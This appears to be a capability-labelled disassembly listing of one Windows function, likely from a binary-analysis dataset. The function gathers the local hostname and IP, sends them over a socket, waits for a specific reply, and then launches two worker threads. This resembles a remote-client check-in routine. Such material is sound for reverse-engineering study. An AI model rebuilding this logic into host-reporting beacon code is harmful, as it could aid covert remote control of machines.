Function at 0x403340
Capabilities:
Create thread
Get hostname
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58fcab
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1990
call fcn.005647d0
mov eax, dword [0x5f4e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1990], ecx
lea ecx, [ebp - 0x1980]
mov dword [0x5fe550], 1
mov dword [0x5fe548], 0
call fcn.00408980
lea ecx, [ebp - 0x1994]
mov dword [ebp - 4], 0
call fcn.00408a60
push 0x7ff
lea eax, [ebp - 0x847]
mov byte [ebp - 4], 1
push 0
push eax
call fcn.00565b20
lea edi, [ebp - 0x848]
mov byte [ebp - 0x848], 0x31
add esp, 0xc
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4033e4
mov ax, word [0x5d4828]
lea ecx, [ebp - 0x848]
mov word [edi], ax
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403400
mov eax, dword [0x5d482c]
mov dword [ecx], eax
mov eax, dword [0x5d4830]
mov dword [ecx + 4], eax
mov al, byte [0x5d4834]
push 0x31
mov byte [ecx + 8], al
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.00565b20
add esp, 0xc
lea esi, [ebp - 0x44]
xor edi, edi
nop word [eax + eax]
lea ecx, [edi - 0x7ffffffe]
call fcn.00408950
mov eax, dword [0x5fe57c]
lea esi, [esi + 0x10]
mov dword [esi - 0x14], eax
inc edi
mov eax, dword [0x5fe578]
mov dword [esi - 0x10], eax
mov eax, dword [0x5fe574]
mov dword [esi - 0xc], eax
mov eax, dword [0x5fe570]
mov dword [esi - 8], eax
cmp edi, 3
jb 0x403440
xorps xmm0, xmm0
mov dword [ebp - 0x850], 0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x84c], 0
movups xmmword [ebp - 0x860], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403498
sub ecx, edx
lea eax, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x860]
call fcn.00408580
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4034c7
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4034d7
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x403529
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40351f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403967
push ecx
push edx
call fcn.005638e9
add esp, 8
lea edi, [ebp - 0x848]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403530
mov ax, word [0x5d4828]
mov edx, dword [ebp - 0x1980]
mov esi, edx
mov word [edi], ax
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403550
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403560
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
nop dword [eax]
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x403580
mov edx, dword [ebp - 0x1994]
mov esi, edx
mov word [edi], ax
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403595
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4035a5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x4035c2
push 0x104
mov word [edi], ax
lea eax, [ebp - 0x968]
push 0
push eax
call fcn.00565b20
add esp, 0xc
lea eax, [ebp - 0x968]
push 0x104
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x968]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
mov dword [ebp - 0x850], 0
mov ecx, edx
mov dword [ebp - 0x84c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x860], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403636
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x860]
call fcn.00408580
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403662
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403672
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x4036c4
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4036ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403967
push ecx
push edx
call fcn.005638e9
add esp, 8
push 0x800
lea eax, [ebp - 0x116c]
push 0
push eax
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x1170], 1
xor ecx, ecx
mov al, byte [ebp + ecx - 0x848]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x116d], al
test al, al
jne 0x4036e6
push 0x804
lea eax, [ebp - 0x1978]
push 0
push eax
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x198c], 0
cmp dword [0x5fe548], 0
jne 0x40384c
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
nop
push 0
push 0x804
lea eax, [ebp - 0x1170]
push eax
push dword [0x5fe554]
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [0x5fe554]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 1
call esi
mov dword [ebp - 0x964], edi
xor esi, esi
mov dword [ebp - 0x968], 1
mov dword [ebp - 0x199c], 3
mov dword [ebp - 0x1998], 0
nop
lea eax, [ebp - 0x199c]
push eax
push 0
push 0
lea eax, [ebp - 0x968]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x403801
test eax, eax
je 0x4037e0
push 0
mov eax, 0x804
sub eax, esi
push eax
lea eax, [ebp - 0x1978]
add eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4037e0
test eax, eax
je 0x4037e0
add esi, eax
cmp esi, 0x804
jl 0x403790
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 0
call esi
jmp 0x403807
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 0x1978], 0x1e
je 0x403842
mov eax, dword [ebp - 0x198c]
inc eax
mov dword [ebp - 0x198c], eax
cmp eax, 3
je 0x403831
cmp dword [0x5fe548], 0
je 0x403730
jmp 0x40384c
push dword [0x5fe554]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4038e7
mov dword [0x5fe548], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402800
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402780
push 0
push 0
mov dword [ebp - 0x1988], eax
call esi
push 0xffffffffffffffff
mov dword [ebp - 0x1984], eax
lea eax, [ebp - 0x1988]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [0x5fe550], 0
je 0x4038a5
cmp dword [0x5fe54c], 0
jne 0x4038bf
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x7b
push dword [ebp - 0x1988]
call esi
push 0x7b
push dword [ebp - 0x1984]
call esi
push dword [0x5fe554]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x1988]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1984]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1990]
mov ecx, eax
push dword [eax]
call fcn.00402630
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp - 0x1994]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403925
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1980]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x403947
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005638db
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00568e05
int3